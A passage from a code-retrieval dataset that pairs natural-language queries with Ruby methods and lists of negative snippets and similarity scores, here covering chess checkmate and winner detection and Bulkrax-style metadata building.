"0.59217256",
"0.59140104",
"0.5908468",
"0.59046364",
"0.5902482",
"0.59004563",
"0.5899619",
"0.5895433",
"0.58914626",
"0.58899254",
"0.5876011",
"0.587588",
"0.58463424",
"0.58333397",
"0.58316994",
"0.582827",
"0.58203745",
"0.5817436",
"0.5810371",
"0.57989556",
"0.57918286",
"0.5785851",
"0.57829773",
"0.5779142",
"0.57718164",
"0.57613856",
"0.5760556",
"0.57568806",
"0.5747594",
"0.5741943",
"0.5737568",
"0.57353956",
"0.57318234",
"0.5725684",
"0.57235676",
"0.5714777",
"0.5711781",
"0.56918716",
"0.5688596",
"0.56874967",
"0.56872547",
"0.5682241",
"0.56763434",
"0.5674751",
"0.5672862",
"0.566307",
"0.56609654",
"0.5660722",
"0.5656365",
"0.5656117",
"0.5651077",
"0.56450844",
"0.56443596",
"0.56430936",
"0.5630867",
"0.56231475",
"0.56162834",
"0.56120527",
"0.5610796",
"0.5610272",
"0.56084716",
"0.56068397",
"0.5606741",
"0.5601566",
"0.5592215",
"0.5592211",
"0.55871433"
] | 0.56994313 | 70 |
Check if game is in checkmate If so, present message indicating winner | def checkmate?
return unless @game.determine_checkmate
if @game.turn_number.even?
@game.update(winning_player_id: @game.black_player_id)
elsif game.turn_number.odd?
@game.update(winning_player_id: @game.white_player_id)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def winner\n case\n when in_checkmate?(1)\n 2\n when in_checkmate?(2)\n 1\n else\n nil\n end\n end",
"def check_for_mate\n if @board.in_checkmate?( match.next_to_move )\n match.active = false\n match.winner = (match.next_to_move==:white ? match.player2 : match.player1)\n match.save\n end\n end",
"def winner\n winning_conditions_met? == \"x\" ? \"#{@player_one} won!\" : \"#{@player_two} won!\"\n end",
"def announce_winner\n\t\[email protected]\n\t\tputs \"\"\n\t\tputs \"**********************************\"\n\t\tcase @current_turn\n\t\twhen @player_one\n\t\t\tif @ai == false\n\t\t\t\tputs \"Checkmate! Player 2 is the winner!\"\n\t\t\telsif @ai == true\n\t\t\t\tputs \"Checkmate! The computer is the winner!\"\n\t\t\tend\n\t\twhen @player_two\n\t\t\tputs \"Checkmate! Player 1 is the winner!\"\n\t\twhen @ai_color\n\t\t\tputs \"Checkmate! You are the winner!\"\n\t\tend\n\tend",
"def check_winner\r\n\t\tif board.winner?(p1.marker)\r\n\t\t\ttrue\r\n\t\telsif board.winner?(p2.marker)\r\n\t\t\ttrue\r\n\t\telse\r\n\t\t\tfalse\r\n\t\t\t\r\n\t\tend\r\n\tend",
"def check_winner\n if win_state == CHECK\n if players[0].get_hand_score >= players[1].get_hand_score\n self.win_state = LOSS\n else\n self.win_state = WIN\n end\n end\n\n if win_state == WIN\n self.wins = wins + 1 \n puts \"Good win! You're now at #{wins} wins and #{losses}.\"\n else\n self.losses = losses + 1\n puts \"Better luck next time. You're now at #{wins} wins and #{losses} losses.\"\n end\n end",
"def winner\n if @board.over?\n check = @board.won?\n if check != false\n player = player1.token == check ? player1 : player2\n puts\n puts \"|***************************************************************|\"\n puts \"Congratualations #{player.name}! You have won this match.\"\n puts \"|***************************************************************|\"\n puts \"Press anykey to continue ...\"\n gets.chomp\n else\n puts \"End game. There's no winner. This is tied game :(\"\n end\n end\n end",
"def winner \n if won? \n turn_count.even? ? \"O\" : \"X\"\n end \n end",
"def who_won? game\n if game.winner_id == nil\n \"In Progress\"\n elsif game.winner_id == current_user.id\n \"You\"\n else\n \"CPU\"\n end\n end",
"def in_checkmate?( who = @turn )\n\t\t\tking = find { |(s, pc)| pc and pc.color == who and pc.is_a? King }\n\t\t\tking.last.in_check? and moves(who).empty?\n\t\tend",
"def finish_game\n\t\tif @check_mate_on == true\n\t\t\tputs \"\\n#{@current_player.name} (#{@current_player.color}) is in CHECKMATE !!!\\n#{@opponent_player.name} (#{@opponent_player.color})WON the game !!!\"\n\t\t\texit\n\t\tend\n\tend",
"def someone_won_round?\r\n !!winner\r\n end",
"def announce_the_result\n if check_for_winner == \"Computer\"\n \"The Computer wins!\\n\"\n elsif check_for_winner == \"Player\"\n \"The Player wins!\\n\"\n elsif check_for_open_board == false\n \"It's a tie!\"\n end\n end",
"def check_for_winner\n set_game\n if current_user.has_3_or_more_moves?(@game.id) || @other_player.has_3_or_more_moves?(@game.id)\n if current_user.has_3_moves_in_a_row?(@game.id)\n @game.update(winner_id: current_user.id, duration: (Time.now - @game.created_at).to_i)\n @game.update(status: 'Game Over')\n json_response({ message: \"Winner is #{current_user.username}\"})\n elsif @other_player.has_3_moves_in_a_row?(@game.id)\n @game.update(winner_id: @other_player.id, duration: (Time.now - @game.created_at).to_i)\n @game.update(status: 'Game Over')\n json_response({ message: \"Winner is #{@other_player.username}\" })\n else\n head :no_content\n end\n else\n head :no_content\n end\n end",
"def win_check\n \tchecks = [horizontal_check, vertical_check, diagonal_check, diamond_check,\n \t\t\t inside_check, outside_check, postage_check]\n\t\n\tif checks.include?(true)\n\t\treturn \"BINGO!! Your a winner\"\n\telse\n\t\treturn \"Sorry you have not won\"\n\tend\n end",
"def check_winner\n cells_t = cells.transpose\n row_winner(cells)\n row_winner(cells_t)\n diagonal_winner unless winner\n announce_winner if winner\n winner\n end",
"def check_win\n\t\t\tif win\n\t\t\t\tputs \"\\n You win!\" \n\t\t\telse\n\t\t\t\t# shows how many turns remain\n\t\t\t\tputs \"\\n You have #{TURNS - @turns} turns left\"\n\t\t\tend\n\t\tend",
"def check_for_game_over\n if @proposed_code == @secret_code && @player_role_selection == 'breaker'\n puts 'YOU WIN!'\n true\n elsif @proposed_code == @secret_code && @player_role_selection == 'maker'\n puts 'COMPUTER WINS!'\n true\n else\n false\n end\n end",
"def win_game\n @win.each do |m|\n if @board[m[0]].strip == @board[m[1]] && @board[m[1]] == @board[m[2]]\n @winner = true\n end\n end\n @winner\n end",
"def winner?\n\t\t@winner\n\tend",
"def check_and_manage_winner\n if codebreaker_wins?\n manage_codebreaker_winning_guess\n else manage_codemaker_wins\n end\n end",
"def check_for_winner\n winning_spaces_filled = WINNING_SPACES.map {|space| @active_spaces[space[0]] + @active_spaces[space[1]] + @active_spaces[space[2]]}\n if winning_spaces_filled.include?(\"OOO\")\n \"Computer\"\n elsif winning_spaces_filled.include?(\"XXX\")\n \"Player\"\n end\n end",
"def someone_won?(brd)\n !!detect_winner(brd)\n end",
"def checkmate(player)\r\n king_possible_combos = [[-1, 0], [-1, 1], [0, 1], [1, 1], [1, 0] ,[1, -1], [0, -1] , [-1, -1]]\r\n check = in_check(player, $board)\r\n if check == true\r\n king_options = []\r\n current_king_loc = find_my_king(player, $board)\r\n king_possible_combos.each do |combo|\r\n location = current_king_loc.zip(combo).map {|x| x.reduce(:+)}.dup\r\n on_board = within_range(location)\r\n next if !on_board\r\n if $board[location[0]][location[1]].nil? \r\n king_options << location\r\n elsif $board[location[0]][location[1]].color != player \r\n king_options << location\r\n else\r\n next\r\n end\r\n end\r\n boards = []\r\n king_options.each do |option|\r\n boards << temporary_board(current_king_loc, option)\r\n end\r\n checks = []\r\n boards.each do |board|\r\n checks << in_check(player, board)\r\n end \r\n player_to_rescue = possible_hero(current_king_loc, player, $board)\r\n return false if checks.include? false or player_to_rescue\r\n return true\r\n else\r\n return false\r\n end\r\n end",
"def game_over?\n return @gamestate.checkmate?(@current_player.team)\n end",
"def determine_winner\n result = @data[\"game_tags\"][\"Result\"]\n whites_result = result.split(\"-\")\n if whites_result == \"1\"\n \"White Wins!\"\n elsif whites_result == \"1/2\"\n \"It's a draw!\"\n else\n \"Black Wins!\"\n end\n end",
"def post_game\n if round.checkmate?\n puts \"\\n#{round.players.last.colour.capitalize} wins by checkmate!\"\n elsif round.stalemate?\n puts \"\\nStalemate!\"\n else\n puts \"Whoops, something went wrong.\"\n end\n end",
"def winner\n count1, count2 = @cups[6].count, @cups[13].count\n if count1 > count2\n @name1\n elsif count2 > count1\n @name2\n else\n :draw\n end\n end",
"def verify_winner(opponent_board)\n if opponent_board.ships.all?(&:sunk?)\n @board_turn.player.set_win\n\n if @best_of3 && @boards.map(&:player).any? { |player| player.wins > 1 }\n puts \"*******************************************************\".green\n puts \"Player #{@board_turn.player.name} has won best of 3!!!!\".green\n puts \"********************************************************\".green\n elsif @best_of3 && @boards.map(&:player).any? { |player| player.wins <= 1 }\n puts \"*********************************************\".green\n puts \"Player #{@board_turn.player.name} has won a game of 3!!!!\".green\n puts \"*********************************************\".green\n else\n puts \"*********************************************\".green\n puts \"Player #{@board_turn.player.name} has won a single game!!!!\".green\n puts \"*********************************************\".green\n end\n\n if @random && @best_of3 && @boards.map(&:player).all? { |player| player.wins < 2 }\n print \"#{@board_turn.player.name} wins, enter for next match?: \".cyan\n $stdin.gets.chomp\n\n print \"\\e[H\\e[2J\"\n :new_game\n elsif @random && @boards.map(&:player).any? { |player| player.wins > 1 }\n :finished_game_of3\n elsif @random\n ask_new_game\n else\n :finished\n end\n else\n next_turn\n :hitted\n end\n end",
"def someone_won?(brd)\n !!detect_winner(brd)\nend",
"def someone_win?(board)\n !!detect_winner(board)\nend",
"def check_winner\n if @guess == @secret_code\n @winner = true\n game_win\n end\n end",
"def winner_message\n if @player1.lives > @player2.lives\n puts \"P1 wins with a score of #{@player1.lives}/3 \\n\"\n else\n puts \"P2 wins with a score of #{@player2.lives}/3 \\n\"\n end\n end",
"def winner\n\t\tputs @board[won?[0]] + \" Won the Game!\" \n\tend",
"def check_outcome(player)\n case @board.status\n when 1\n puts \"*** #{player.name} Won Congratulations! ***\"\n 1\n when 0\n puts \"*** That's a tie ***\"\n 0\n else\n -1\n end\n end",
"def winner?\n @board.winner?\n end",
"def display_winner\n\t\tif @player_one.return_number_of_win > @player_two.return_number_of_win # on fait une condition qui compare le nombre de victoire des joueurs pour savoir lequel a gagner la partie\n\t\t\tputs \"\\n\\n\\nBravo #{@player_one.return_name.colorize(:green)} Vous avez battu #{@player_two.return_name.colorize(:red)}\"\n\t\telsif @player_one.return_number_of_win < @player_two.return_number_of_win\n\t\t\tputs \"\\n\\n\\nBravo #{@player_two.return_name.colorize(:green)} Vous avez battu #{@player_one.return_name.colorize(:red)}\"\n\t\telse\n\t\t\tputs \"\\n\\n\\nBravo #{@player_two.return_name.colorize(:blue)} et #{@player_one.return_name.colorize(:blue)} Vous avez fait un match nul!\"\n\t\tend\n\tend",
"def check_win\n if @game_board.return_count == 5 and @timer.return_time >= 0\n @win = true\n end\n if @game_board.return_count < 5 and @timer.return_time == 0\n @lose = true\n end\n end",
"def winner\n # checks to see if game was won\n if won?\n winning_array = WIN_COMBINATIONS.detect do |win_array|\n board.cells[win_array[0]] == \"X\" && board.cells[win_array[1]] == \"X\" && board.cells[win_array[2]] == \"X\" ||\n board.cells[win_array[0]] == \"O\" && board.cells[win_array[1]] == \"O\" && board.cells[win_array[2]] == \"O\"\n end\n board.cells[winning_array[0]]\n end\n end",
"def win_message\n puts \"Player #{@id.to_s} (#{@piece}) wins!\"\n end",
"def winner\n return WHITEMAN unless board.has?(BLACKMAN)\n return BLACKMAN unless board.has?(WHITEMAN)\n return nil\n end",
"def check_for_winner(message)\n return unless @@direct_matches.length == 4\n puts message\n exit\n end",
"def winner\n if current_player.marker == \"X\"\n return \"O\"\n else\n return \"X\"\n end\n end",
"def did_player_win?\n if @players_1_turn\n did_mark_win?(PLAYERS_1_MARK)\n else\n did_mark_win?(PLAYERS_2_MARK)\n end\n end",
"def print_winner\n if @winner == :c\n return \"Sorry, cat game.\"\n else\n if @player1.mark == @winner\n return \"Congratulations! \" + @player1.name + \" wins!\"\n elsif @player2.mark == @winner and @player2.type == 'human'\n return \"Congratulations! \" + @player2.name + \" wins!\"\n elsif @player2.mark == @winner and @player2.type == 'computer'\n #1 player, 'O' won. Do not congratulate player on computer victory.\n return \"Sorry, \" + player2.name + \" wins.\"\n end\n end\n end",
"def winner\n if (@board == @word)\n if (@player_one_points > @player_two_points)\n puts \"Player one is the winner with #{@player_one_points} points! Player two lost with #{@player_two_points} points.\"\n else\n puts \"Player two is the winner with #{@player_two_points} points! Player one lost with #{@player_one_points} points.\"\n end\n end\n end",
"def finished?\n winner ? true : false\n end",
"def winner?\n self.user_wordcount.to_i >= Nanowrimo::GOAL\n end",
"def winner\n\t\tvictor = false\n\t\tvictor = \"Player1\" unless @board.on_board? player2.tokens[-1][0].position\n\t\tvictor = \"Player2\" unless @board.on_board? player1.tokens[-1][0].position\n\t\tvictor\n\tend",
"def end_game?\n self.message = []\n if winner?(self.player)\n self.message[2] = \"#{self.player.name} wins!\"\n self.player.score += 1\n result = true\n elsif winner?(self.computer)\n self.message[2] = \"#{self.computer.name} wins!\"\n self.computer.score += 1\n result = true\n elsif self.board.all_squares_occupied?\n self.message[2] = \"Tie game!\"\n result = true\n end\n draw\n return result\n end",
"def check_for_winner\n \tcollect_winning_positions.each do |position| \t\t\n \t\tif position == \"OOO\"\n \t\t return 2 \t\t\n \t\telsif position == \"XXX\" \n \t return 1 \t\t \n \t\tend \t\n \tend\n \tcat_game? == true ? 0 : -1\n end",
"def winner\r\n if self.won? != false\r\n if self.current_player == \"X\"\r\n return \"O\"\r\n else\r\n return \"X\"\r\n end\r\n end\r\n end",
"def check_if_won\n\t\tif @word_hidden == @answer_word\n\t\t\t@game_over = 1\n\t\tend\n\t\t@game_over\n\tend",
"def show_winner\n if (@game.score(CPU_PLAYER) == @game.score(HUMAN_PLAYER))\n @message = \"Game over\\n\\n Its a DRAW people!!!\" \n elsif (@game.score(CPU_PLAYER)>@game.score(HUMAN_PLAYER))\n @message = \"Game over\\n\\nWINNER: #{CPU_PLAYER.upcase}!!!\"\n else\n @message = \"Game over\\n\\nWINNER: #{HUMAN_PLAYER.upcase}!!!\"\n end\n @message += \"\\n\\nBLACK SCORE:#{@game.score(HUMAN_PLAYER)}\\nWHITE SCORE:#{@game.score(CPU_PLAYER)}\"\n\n alert(\"#{@message}\")\nend",
"def game_over?\n method = game_over_method\n return unless method\n\n puts \"Game over by #{method}\"\n method == 'checkmate' ? puts(\"#{@current_player.colour} won!\") : puts(\"It's a draw!\")\n true\n end",
"def announce_winner\n puts \"It's a tie!\" if @turns == 0\n puts @curr_player == @player1 ? \"#{@player1.name} won the game!\" : \"#{@player2.name} won the game!\"\n end",
"def winner(game)\n result = nil\n if game.team1_goals.present? && game.team2_goals.present?\n result = TEAM1_WIN if game.team1_goals > game.team2_goals\n result = TEAM2_WIN if game.team1_goals < game.team2_goals\n result = DRAW if game.team1_goals == game.team2_goals\n end\n\n result\n end",
"def win_check\r\n if $board == $boardwin\r\n true\r\n else\r\n false\r\n end\r\nend",
"def game_over\n [:winner, :tie].include?(board.status)\n end",
"def determineWinner() \n\n end",
"def Winner?(player)\r\n end",
"def winner\n if won?\n @board[won?[0]]\n end\n end",
"def win?\n true if @board.maker.code == @board.breaker.guess\n end",
"def match_won?\n if @sets_won == 3\n @match_won = 1\n @sets_won = 0\n @opponent.sets_won = 0\n end\n if @opponent.sets_won == 3\n @match_won = 1\n @sets_won = 0\n @opponent.sets_won = 0\n end\n end",
"def finished?\n if winner \n return true\n end\n end",
"def check_mate(team)\n # If the team's king is under check, and the team has no valid moves -> Check mate\n # If the team's king is not under check, and the team has no valid moves -> Stale mate\n moves = valid_moves(team)\n if team == :white\n if @w_check && moves.empty?\n return true, :check_mate\n elsif !@w_check && moves.empty?\n return true, :stale_mate\n else\n return false, nil\n end\n else\n if @b_check && moves.empty?\n return true, :check_mate\n elsif !@b_check && moves.empty?\n return true, :stale_mate\n else\n return false, nil\n end\n end\n end",
"def winner\n store_person = winner_function\n store_combo = won?\n if store_combo == false\n return nil\n elsif store_person == \"X\"\n return \"X\"\n elsif store_person == \"O\"\n return \"O\"\n else\n return false\n end\n end",
"def winner\n if won?\n @board[won?[0]]\n end\n end",
"def determine_status\n if opponent_board.present? and opponent_board.all_ships_are_sunk?\n \"You Win! Congratulations!\"\n elsif player_board.present? and player_board.all_ships_are_sunk?\n \"You Lose! Better luck next time...\"\n end\n end",
"def someoneWin?\n player = nil\n @@winCases.each { |a|\n player = @board[a[0]]\n if (player != \" \") && (@board[a[0]] == @board[a[1]]) && (@board[a[1]] == @board[a[2]])\n (0..2).each { |n| @board[a[n]].upcase! }\n puts \"We have a WINNER! ----> \" + player\n return player\n end\n }\n return false\n end",
"def check_score\n if @player_1.lose\n winner(@player_2)\n elsif @player_2.lose\n winner(@player_1)\n end\n end",
"def winner(board)\nif\n WIN_COMBINATIONS.detect do |winner|\n winner.all? {|token| board[token] == \"X\"}\n end\n who_won = \"X\"\n elsif\n WIN_COMBINATIONS.detect do |winner|\n winner.all? {|token| board[token] == \"O\"}\n end\n who_won = \"O\"\n else\n who_won = nil\n end\nend",
"def gameover?\n full? or not check_winner.nil?\n end",
"def won?\n won_checker\n end",
"def winner\n WIN_COMBINATIONS.detect do |win_combo|\n if (@board[win_combo[0]]) == \"X\" && (@board[win_combo[1]]) == \"X\" && (@board[win_combo[2]]) == \"X\"\n return \"X\"\n elsif (@board[win_combo[0]]) == \"O\" && (@board[win_combo[1]]) == \"O\" && (@board[win_combo[2]]) == \"O\"\n return \"O\"\n else\n nil\n end\n end\n end",
"def winner?\n return @winner if @winner\n\n b = to_i\n @winner = @@WINNER_STATES.any? { |a| a & b == a }\n end",
"def winner\r\n win_combination = won?\r\n if win_combination\r\n win_index = win_combination[0]\r\n @board[win_index]\r\n end\r\n end",
"def choose_winner; end",
"def check_for_winner\n winner = false\n until winner\n WINNING_CELLS.each do |combo|\n if board[combo[1] - 1] == board[combo[0] - 1] && board[combo[2] - 1] == board[combo[0] - 1]\n winner = true\n break\n else\n winner = false\n end\n end\n end\n winner\n end",
"def winner \n @board[won?[0]] if won?\n end",
"def played?\n winner.present?\n end",
"def checkWinner()\n\t\tblackCount = 0\n whiteCount = 0\n\n #\n # TO DO: add your code below\n #\n\t\tfor i in ([email protected])\n\t\t\tfor j in ([email protected])\n\t\t\t\tif @board[i][j] == WHITE\n\t\t\t\t\twhiteCount = whiteCount + 1\n\t\t\t\tend\n\t\t\t\tif @board[i][j] == BLACK\n\t\t\t\t\tblackCount = blackCount + 1\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\n # DO NOT DELETE THE CODE BELOW\n\t\tif blackCount == whiteCount\n\t\t\treturn TIE\n\t\tend\n\n\t\treturn blackCount > whiteCount ? BLACK : WHITE\n\tend",
"def winner\n WIN_COMBINATIONS.detect do |win_combo|\n if (@board[win_combo[0]]) == \"X\" && (@board[win_combo[1]]) == \"X\" && (@board[win_combo[2]]) == \"X\"\n return \"X\"\n elsif (@board[win_combo[0]]) == \"O\" && (@board[win_combo[1]]) == \"O\" && (@board[win_combo[2]]) == \"O\"\n return \"O\"\n else\n nil\n end\n end\n end",
"def winner()\n if won?()\n win = won?()\n if @board[win[0]] == \"X\"\n return \"X\"\n elsif @board[win[0]] == \"O\"\n return \"O\"\n else @board[win[0]] != \"X\" && @board[win[0]] != \"O\" #srsly..this is like ducttape over a huge hole\n return nil\n end\n end\nend",
"def win_or_lose\n if game_data.guesses_remaining.zero?\n puts File.read('./views/you_dead')\n puts File.read('./views/dead')\n elsif game_data.letters_left_to_guess == []\n puts File.read('./views/winscreen')\n else\n # allows us to break recursion if we are testing\n @test_cond == false ? Turn.new(game_data) : true\n end\n end",
"def winner\n if @user_ships.all? { |ship| ship.sunk? } && @npc_ships.all? { |ship| ship.sunk? }\n print \"\\nTie game!\\n\\n\"\n return true\n elsif @user_ships.all? { |ship| ship.sunk? }\n print \"\\nI won!\\n\\n\"\n return true\n elsif @npc_ships.all? { |ship| ship.sunk? }\n print \"\\nYou won!\\n\\n\"\n return true\n else\n false\n end\n end",
"def check_win\n\tp = tokenize($current_player)\n\tvert1 = $row1[0] + $row2[0] + $row3[0]\n\tvert2 = $row1[2] + $row2[2] + $row3[2]\n\tvert3 = $row1[4] + $row2[4] + $row3[4]\n\n\thorz1 = vert1[0] + vert2[0] + vert3[0]\n\thorz2 = vert1[1] + vert2[1] + vert3[1]\n\thorz3 = vert1[2] + vert2[2] + vert3[2]\n\n\tdiag1 = $row1[0] + $row2[2] + $row3[4]\n\tdiag2 = $row3[0] + $row2[2] + $row1[4]\n\n\twinning_options = [vert1, vert2, vert3, horz1, horz2, horz3, diag1, diag2]\n\tif winning_options.any? {|x| (x.count p) >= 3}\n\t\treturn true\n\tend \nend",
"def winner\n if won?\n puts \"Player #{@winner} has won the game!\"\n return @winner\n else\n puts \"No winner yet!\"\n end\n end",
"def victory?\n !!get_winner\n end",
"def won?()\r\n\t\twin_game = false\r\n\t\t\r\n\t\tif()\r\n\t\t win_game = true\r\n\t end\r\n\t\t\r\n\t\treturn win_game\r\n\tend",
"def checkWinner()\n\t\tblackCount = 0\n whiteCount = 0\n\n #\n # TO DO: add your code below\n #\n for i in 0...@size\n for j in 0...@size\n if (@board[i][j]==WHITE)\n whiteCount += 1\n end\n if (@board[i][j] == BLACK)\n blackCount += 1\n end\n end\n end\n\n\n # DO NOT DELETE THE CODE BELOW\n\t\tif blackCount == whiteCount\n\t\t\treturn TIE\n\t\tend\n\n\t\treturn blackCount > whiteCount ? BLACK : WHITE\n\tend",
"def winner\n won? ? board.cells[won?[0]] : nil\n end",
"def calculate_winner\n self.winner = case human.move <=> computer.move\n when 1\n human\n when -1\n computer\n when 0\n 'tie'\n end\n end",
"def PrintWinner\n if @winner == 'C'\n puts \"Sorry, cat's game.\"\n else\n if @player1.mark == @winner\n puts \"Congratulations! \" + @player1.name + \" wins!\"\n elsif @player2.mark == @winner and @player2.type == 'human'\n puts \"Congratulations! \" + @player2.name + \" wins!\"\n elsif @player2.mark == @winner and @player2.type == 'computer'\n #1 player, 'O' won. Do not congratulate player on computer victory.\n puts \"Sorry, \" + player2.name + \" wins.\"\n end\n end\n end",
"def determine_winner\n \tif self.won?(@player_symbol) then\n \t\t@over = true\n \treturn \"Player\" \n \tend\n \tif self.won?(@computer_symbol) then\n \t\t@over = true\n \t return \"Computer\" \n \tend\n \tif self.open_spots.count == 0 then\n \t\t@over = true\n \t\treturn \"Draw\"\n \tend\n return \"\" \n end",
"def winner\n return nil if player_one_move == player_two_move\n winning_combinations = { 'rock' => 'scissors', 'scissors' => 'paper', 'paper' => 'rock' }\n {\n true => player_one,\n false => player_two,\n }[winning_combinations[player_one_move] == player_two_move]\n end",
"def winner?\n not @winners[@pick].nil?\n end",
"def winner\n self.won?? self.board.cells[self.won?[0]] : nil\n end",
"def check_win_or_lose\n # returns one of the symbols :win, :lose, or :play depending on the current game state\n \n end",
"def game_won?\n if diagonal_win?\n true\n elsif horizontal_win?\n true\n elsif vertical_win?\n true\n else\n false\n end\n end"
] | [
"0.7964523",
"0.7502289",
"0.7472054",
"0.74522895",
"0.74476194",
"0.74423945",
"0.7427622",
"0.7349794",
"0.7342708",
"0.7313573",
"0.72916216",
"0.7266836",
"0.72630936",
"0.72513753",
"0.7229261",
"0.7207654",
"0.71685416",
"0.7165709",
"0.7163515",
"0.71626735",
"0.71495765",
"0.7139557",
"0.7126206",
"0.7107228",
"0.7104321",
"0.708753",
"0.7054793",
"0.70448756",
"0.70405227",
"0.70396215",
"0.70064586",
"0.70015913",
"0.69875145",
"0.69673973",
"0.6962783",
"0.6945767",
"0.6940344",
"0.69319946",
"0.69316316",
"0.69254476",
"0.69101083",
"0.68905073",
"0.6888627",
"0.688226",
"0.6875995",
"0.6873877",
"0.6864759",
"0.68578887",
"0.68531907",
"0.68530023",
"0.685262",
"0.68422115",
"0.6839106",
"0.68299425",
"0.6820347",
"0.68160486",
"0.6813919",
"0.68131506",
"0.6809552",
"0.6800153",
"0.67991126",
"0.67954797",
"0.67924416",
"0.67911386",
"0.6786334",
"0.67814136",
"0.6776203",
"0.6775407",
"0.677408",
"0.6773487",
"0.676842",
"0.67676085",
"0.6751862",
"0.6751812",
"0.67512894",
"0.6750487",
"0.67476904",
"0.6731867",
"0.67291003",
"0.67286474",
"0.6727897",
"0.6727081",
"0.672675",
"0.6716074",
"0.6708686",
"0.6707107",
"0.6702052",
"0.6681527",
"0.6675403",
"0.66702104",
"0.66679823",
"0.66669875",
"0.66624343",
"0.66609955",
"0.6658239",
"0.6657387",
"0.6648014",
"0.6647068",
"0.6645417",
"0.664463"
] | 0.7670668 | 1 |
modified from bulkrax to ensure setting model before adding other metadata | def build_metadata
raise StandardError, 'Record not found' if record.nil?
raise StandardError, "Missing required elements, missing element(s) are: #{importerexporter.parser.missing_elements(keys_without_numbers(record.keys)).join(', ')}" unless importerexporter.parser.required_elements?(keys_without_numbers(record.keys))
self.parsed_metadata = {}
self.parsed_metadata[work_identifier] = [record[source_identifier]]
add_work_type
add_standard_metadata
add_file
add_visibility
add_rights_statement
add_admin_set_id
add_collections
add_local
self.parsed_metadata
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def prepare\n model.tap do |p|\n p.name = name\n p.identifier = set_identifiers\n p.meta = set_meta\n end\n end",
"def prepare\n model.tap do |p|\n p.name = name\n p.identifier = set_identifiers\n p.meta = set_meta\n end\n end",
"def setup(model_class); end",
"def setup(model_class); end",
"def prepare\n model.tap do |p|\n p.identifier = set_identifiers\n p.meta = set_meta\n p.text = set_text\n p.status = COMPLETED_STATUS\n p.authored = set_date\n p.author = set_author\n p.subject = set_subject\n p.questionnaire = set_questionnaire\n p.group = set_group\n end\n end",
"def metadata=(_); end",
"def setup_object_attributes; end",
"def save\n self.metadata[:type] = :metagenome if !metadata[:tax].nil? and\n !metadata[:tax][:ns].nil? and metadata[:tax][:ns]==\"COMMUNITY\"\n self.metadata.save\n end",
"def update_initial_metadata(metadata)\n end",
"def make_and_model; end",
"def set_model\n\n # check credentials and handle OpenStack Keystone\n # TODO: check expiration dates on Keystone tokens\n raise \"You are not authorized to use this endpoint!\" unless check_authn\n\n #\n model = get('/-/')\n @model = Occi::Model.new(model)\n\n @mixins = {\n :os_tpl => [],\n :resource_tpl => []\n }\n\n #\n get_os_templates.each do |os_tpl|\n unless os_tpl.nil? || os_tpl.type_identifier.nil?\n tid = os_tpl.type_identifier.strip\n @mixins[:os_tpl] << tid unless tid.empty?\n end\n end\n\n #\n get_resource_templates.each do |res_tpl|\n unless res_tpl.nil? || res_tpl.type_identifier.nil?\n tid = res_tpl.type_identifier.strip\n @mixins[:resource_tpl] << tid unless tid.empty?\n end\n end\n\n model\n end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def new_model_defaults\n end",
"def setup\n @models.each do |model|\n print \"ADDING SynchronizationId__c to #{model}... \"\n job = client.create(\n :custom_field,\n full_name: \"#{model}.SynchronizationId__c\",\n description: \"External Synchronization ID\",\n label: \"Synchronization ID\",\n type: \"Text\",\n external_id: true,\n unique: true,\n length: ENV[\"UUID_LENGTH\"] || 255,\n )\n\n begin\n job.on_complete { |_| puts \"DONE\" }.on_error { |_| puts \"FAILED\" }.perform\n rescue Savon::SOAP::Fault => e\n puts \"\\n(#{e.class}) #{e.message}\\n#{e.backtrace.join(\"\\n\")}\"\n end\n end\n end",
"def set_model\n @model=Info\n end",
"def initialize_model\n end",
"def add_metadata_for(db, model, metadata)\n if db\n @ribs[[db, model]] = metadata\n else\n @ribs[model] = metadata\n end\n end",
"def _default_wrap_model; end",
"def metadata=(_arg0); end",
"def setup_model(opts, current_account:, **)\n opts['model'] = current_account\n end",
"def set_model\n @model = Info\n end",
"def private_model; @private_model = true end",
"def build_system_metadata\n self.parsed_metadata['id'] = hyrax_record.id\n self.parsed_metadata[source_identifier] = hyrax_record.send(work_identifier)\n self.parsed_metadata[key_for_export('model')] = hyrax_record.has_model.first\n end",
"def run\n super\n create_easy_attribute_source\n add_attribute_to_type\n end",
"def prepare\n Maadi::post_message(:More, \"Model (#{@type}) is ready\")\n\n super\n end",
"def apply_base_metadata\n\t\tdc_ds = self.dc\n\t\tdesc_ds = self.descMetadata\n\n\t \t#Here's where we call specific additional metadata changes...\n\t\tif self.respond_to?(:apply_specific_base_metadata)\n self.apply_specific_base_metadata\n end\t\n\n #Add the dc required elements\n\t\tdc_ds.update_indexed_attributes([:dc_identifier]=> self.pid) unless dc_ds.nil?\n\t\tdc_ds.update_indexed_attributes([:dc_genre]=>self.get_values_from_datastream(\"descMetadata\", [:genre], {}).to_s) unless dc_ds.nil?\n\t\n\t\t#Add the descMetadata required elements\n\t\tdesc_ds.update_indexed_attributes([:identifier]=> self.pid) unless desc_ds.nil?\n\t\tdesc_ds.update_indexed_attributes([:location, :primary_display]=> \"http://hydra.hull.ac.uk/resources/\" + self.pid) unless desc_ds.nil?\n\t return true\n end",
"def edit_metadata_fields\n end",
"def setup!(model, options)\n super\n @model = self.class.decorator_class.new(@model)\n end",
"def configure(config)\n\t\t\tvalid_configs = [:next_uid, :max_key_age, :tags, :sudo_group]\n\t\t\tto_use_config = config.select{|k,v| valid_configs.include?(k)}\n\t\t\[email protected] do |item_data|\n\t\t\t\titem_data.set(to_use_config)\n\t\t\t\tif(config.has_key?(:user_file_bucket))\n\t\t\t\t\tif(config[:user_file_bucket])\n\t\t\t\t\t\titem_data.set(:user_file_bucket => config[:user_file_bucket])\n\t\t\t\t\telse\n\t\t\t\t\t\titem_data.delete(:user_file_bucket)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif(@metadata.attributes[:identity] == nil)\n\t\t\t\t\titem_data.set(:identity => 0)\n\t\t\t\telse\n\t\t\t\t\titem_data.add(:identity => 1)\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def model(model)\n if @resource_config[:model]\n raise DefinitionError, \"model already declared in #{self}\"\n end\n @resource_config[:model] = model\n end",
